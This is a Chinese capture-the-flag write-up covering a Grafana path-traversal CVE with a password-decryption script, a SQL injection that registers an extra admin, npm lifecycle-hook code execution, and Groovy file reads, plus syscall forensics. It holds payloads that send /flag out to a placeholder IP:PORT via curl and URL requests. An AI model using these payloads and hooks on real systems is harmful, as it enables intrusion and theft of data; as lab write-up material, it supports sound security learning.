感觉可以抽个时间专门再学学SQL注入了…

Web

easy_grafana

打开题目,Grafana v8.2.6,经典CVE-2021-43798,但是原始的POC没法用,返回400,后来查了一下发现可能是中间件对URL做了标准化导致没法打,在POC中添加#可以顺利绕过。

读取配置文件/etc/grafana/grafana.ini,发现SecretKey:

1
secret_key = SW2YcwTIb9zpO1hoPsMm

然后就是脱裤/var/lib/grafana/grafana.db,在data_source表中的secure_json_data列中找到加密后的登录密码:

1
{"password":"b0NXeVJoSXKPoSYIWt8i/GfPreRT03fO6gbMhzkPefodqe1nvGpdSROTvfHK1I3kzZy9SQnuVy9c3lVkvbyJcqRwNT6/"}

随便Github找了个脚本解密即可:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import base64
from hashlib import pbkdf2_hmac
from Crypto.Cipher import AES

saltLength = 8
aesCfb = "aes-cfb"
aesGcm = "aes-gcm"
encryptionAlgorithmDelimiter = '*'
nonceByteSize = 12


def decrypt(payload, secret):
    alg, payload, err = deriveEncryptionAlgorithm(payload)

    if err is not None:
        return None, err

    if len(payload) < saltLength:
        return None, "Unable to compute salt"

    salt = payload[:saltLength]
    key, err = encryptionKeyToBytes(secret, salt)

    if err is not None:
        return None, err

    if alg == aesCfb:
        return decryptCFB(payload, key)
    elif alg == aesGcm:
        return decryptGCM(payload, key)

    return None, None

def encryptionKeyToBytes(secret, salt):
    return pbkdf2_hmac("sha256", secret.encode("utf-8"), salt, 10000, 32), None

def deriveEncryptionAlgorithm(payload):
    if len(payload) == 0:
        return "", None, "Unable to derive encryption"

    if payload[0] != encryptionAlgorithmDelimiter.encode():
        return aesCfb, payload, None

    payload = payload[:1]

def decryptGCM(payload, key):
    nonce = payload[saltLength: saltLength+nonceByteSize]
    payload = payload[saltLength+nonceByteSize:]

    gcm = AES.new(key, AES.MODE_GCM, nonce, segment_size=128)

    return gcm.decrypt(payload).decode(), None


def decryptCFB(payload, key):
    if len(payload) < AES.block_size:
        return None, "Payload too short"

    iv = payload[saltLength: saltLength + AES.block_size]
    payload = payload[saltLength+AES.block_size:]

    cipher = AES.new(key, AES.MODE_CFB, iv, segment_size=128)

    return cipher.decrypt(payload).decode(), None

if __name__ == "__main__":
    grafanaIni_secretKey = "SW2YcwTIb9zpO1hoPsMm"
    dataSourcePassword = "b0NXeVJoSXKPoSYIWt8i/GfPreRT03fO6gbMhzkPefodqe1nvGpdSROTvfHK1I3kzZy9SQnuVy9c3lVkvbyJcqRwNT6/"

    encrypted = base64.b64decode(dataSourcePassword.encode())
    pwdBytes, _ = decrypt(encrypted, grafanaIni_secretKey)
    print(pwdBytes)

Reference

ctf_cloud

题目点进去有注册和登录,附件给了源码,顺手就找到了注册和登录的路由:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
/* login */
router.post('/signin', function(req, res, next) {
    var username = req.body.username;
    var password = req.body.password;

    if (username == '' || password == '')
        return res.json({"code" : -1 , "message" : "Please input username and password."});

    if (!passwordCheck(password))
        return res.json({"code" : -1 , "message" : "Password is not valid."});

    db.get("SELECT * FROM users WHERE NAME = ? AND PASSWORD = ?", [username, password], function(err, row) {
        if (err) {
            console.log(err);
            return res.json({"code" : -1, "message" : "Error executing SQL query"});
        }
        if (!row) {
            return res.json({"code" : -1 , "msg" : "Username or password is incorrect"});
        }
        req.session.is_login = 1;
        if (row.NAME === "admin" && row.PASSWORD == password && row.ACTIVE == 1) {
            req.session.is_admin = 1;
        }
        return res.json({"code" : 0, "message" : "Login successful"});
    });

});

/* register */
router.post('/signup', function(req, res, next) {
    var username = req.body.username;
    var password = req.body.password;

    if (username == '' || password == '')
        return res.json({"code" : -1 , "message" : "Please input username and password."});

    // check if username exists
    db.get("SELECT * FROM users WHERE NAME = ?", [username], function(err, row) {
        if (err) {
            console.log(err);
            return res.json({"code" : -1, "message" : "Error executing SQL query"});
        }
        if (row) {
            console.log(row)
            return res.json({"code" : -1 , "message" : "Username already exists"});
        } else {
            // in case of sql injection , I'll reset admin's password to a new random string every time.
            var randomPassword = stringRandom(100);
            db.run(`UPDATE users SET PASSWORD = '${randomPassword}' WHERE NAME = 'admin'`, ()=>{});

            // insert new user
            var sql = `INSERT INTO users (NAME, PASSWORD, ACTIVE) VALUES (?, '${password}', 0)`;
            db.run(sql, [username], function(err) {
                if (err) {
                    console.log(err);
                    return res.json({"code" : -1, "message" : "Error executing SQL query " + sql});
                }
                return res.json({"code" : 0, "message" : "Sign up successful"});
            });
        }
    });
});

可以看见登录的时候用了直接用的占位符+传参,所以没法注入;但是在注册的地方,插入数据的时候用的是拼接(焯为啥打比赛的时候没看见啊),于是可以通过这里注入。

结合登录的判断逻辑,再加上每次新建用户都会导致管理员密码的更改,所以通过UPDATE的方法大概是不太行。然后发现数据表中所有列都不是UNIQUE属性,也就意味着可以重复,此处就可以直接通过注入直接注册一个新的admin,新建用户密码如下即可。

1
',0),('admin','123456',1),('test','

然后通过admin 123456就能以管理员身份登录,登进去是个CTF云的啥界面:

继续看源码,发现在public目录下有个app目录,长下面这样:

功能点是可以上传文件到public/uploads目录下,还可以在package.json中添加依赖,并且管理员可以对该目录下的整个Node.js项目进行安装,对应如下代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
/* run npm install */
router.post('/run', function(req, res, next) {
    if (!req.session.is_admin)
        return res.json({"code" : -1 , "message" : "Please login as admin."});
    cp.exec('cd ' + appPath + ' && npm i --registry=https://registry.npm.taobao.org', function(err, stdout, stderr) {
        if (err) {
            return res.json({"code" : -1 , "message" : "Error running npm install."});
        }
        return res.json({"code" : 0 , "message" : "Run npm install successful"});
    });
});

查询NPM官方文档可知,在执行npm install的整个过程中,会有一些生命周期的操作,使得指定的命令/脚本可以在整个过程的某个特殊节点自动执行。因此可以通过装载一些恶意命令到某个生命周期节点中,这样点击编译,就可以自动执行。

新建一个Github仓库,创建package.json文件,添加个preinstall脚本,然后通过依赖把这个自定义仓库载入进来,就能实现RCE。

1
2
3
4
5
6
7
8
9
{
  "name": "express",
  "description": "Fast, unopinionated, minimalist web framework",
  "version": "4.18.1",
  "author": "TJ Holowaychuk <tj@vision-media.ca>",
  "scripts": {
    "preinstall": "curl http://IP:PORT/`cat /flag`"
  }
}

随后添加依赖,POST数据:

1
{"dependencies":{"test":"git+https://github.com/account/test.git"}}

赛后复现的时候不知道是不是网络原因,拉Github仓库经常没反应,所以经常收不到请求,或者需要等很久才能收到。

因此看了其他人的WriteUp,因为Dockerfile里面给了文件的位置,所以还可以通过本地文件来载入依赖。写一个package.json上传,然后把public/uploads目录当作一个Node.js项目进行安装即可。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
{
    "name": "express",
    "description": "Fast, unopinionated, minimalist web framework",
    "version": "4.18.1",
    "author": "TJ Holowaychuk <tj@vision-media.ca>",
    "scripts": {
        "preinstall": "cat /flag > /usr/local/app/public/a.txt",
        "install": "cat /flag > /usr/local/app/public/b.txt",
        "postinstall": "cat /flag > /usr/local/app/public/c.txt",
        "preprepare": "cat /flag > /usr/local/app/public/d.txt",
        "prepare": "cat /flag > /usr/local/app/public/e.txt",
        "postprepare": "cat /flag > /usr/local/app/public/f.txt"
    }
}

添加依赖:

1
{"dependencies":{"test":"file:./public/uploads"}}

随后直接访问根目录下对应文件即可。经过上面的package.json对安装过程的所有生命周期节点都测试了一遍,发现prepreparepostprepare没有写入,其他的都写入了文件。

包括上面这两点,NPM的dependencies支持以下方式加载依赖:

  • 从NPM仓库加载,因此也可以把上面的恶意包打包成NPM包来加载,就是略显麻烦hhh
    • "package": "version"
  • 从URL加载Tarball形式的包
  • 从Git仓库链接加载
    • git+ssh://git@github.com:npm/cli.git#v1.0.27
    • git+ssh://git@github.com:npm/cli#semver:^5.0
    • git+https://isaacs@github.com/npm/cli.git
    • git://github.com/npm/cli.git#v1.0.27
  • 本地目录
    • "bar": "file:../foo/bar"

Reference

typing_game

// TODO

Misc

signin

一堆纯前端的关卡,最后请求/api/signin,需要传参队伍名称和ID,但是不知道队伍ID是啥,于是乎爆破:

easy_groovy

一个带过滤的Groovy代码执行,试过了Groovy的命令执行代码"ls".execute(),显示被ban,因此尝试使用Groovy的API直接看看能不能读取到flag。

首先是扫目录,因为无回显,所以需要通过HTTP请求将结果带出来:

1
2
3
4
def files=new java.io.File("/").listFiles();
for(f in files) {
    new URL("http://IP:PORT/"+f.absolutePath).openConnection().getResponseCode()
}

然后读flag,简单粗暴:

1
2
3
4
5
6
7
def file=new java.io.File("/flag");
def line;
file.withReader {
    reader -> while((line = reader.readLine()) != null){ 
        new URL("http://IP:PORT/" + line).openConnection().getResponseCode()
    }
}

find_it

下载附件,是个.scap文件,一搜还以为是UEFI固件,然后用file确认了一下,原来是个流量包hhh

是一个记录了系统调用序列的流量包,首先filter了一下命令执行的,也就是execve(),对应Wireshark里面的调用号是293,规则sysdig.event_type==293,在最后几个数据中找到了一些有意思的东西:

首先是这个sh -c,后面的echo一眼看出是蚁剑的定界符,所以猜测可能有Webshell的写入操作:

以及下面这个一句话木马的写入操作,更确定了这个猜测:

在对Web日志的写入调用中发现了写一句话的具体URI,还是个ThinkPHP:

紧跟在bash nothing.sh之后的是一个openssl加密命令,能推测出传了个图片文件nothing.png(看样子出题人也和我一样没钱恰KFC疯狂星期四捏)

于是去掉filter之后,在其前面的某个read()调用中找到了nothing.png,扫出来是前半截flag:bytectf{53f8fb16-a25d-4aac-

然后看来看去也没看见其他的命令执行了,想起前面翻到的Web日志,于是接着去找Web的请求信息,找到了这样一个write()调用:

找到后半截Flag:bec5-d7563b2672b6},完整bytectf{53f8fb16-a25d-4aac-bec5-d7563b2672b6}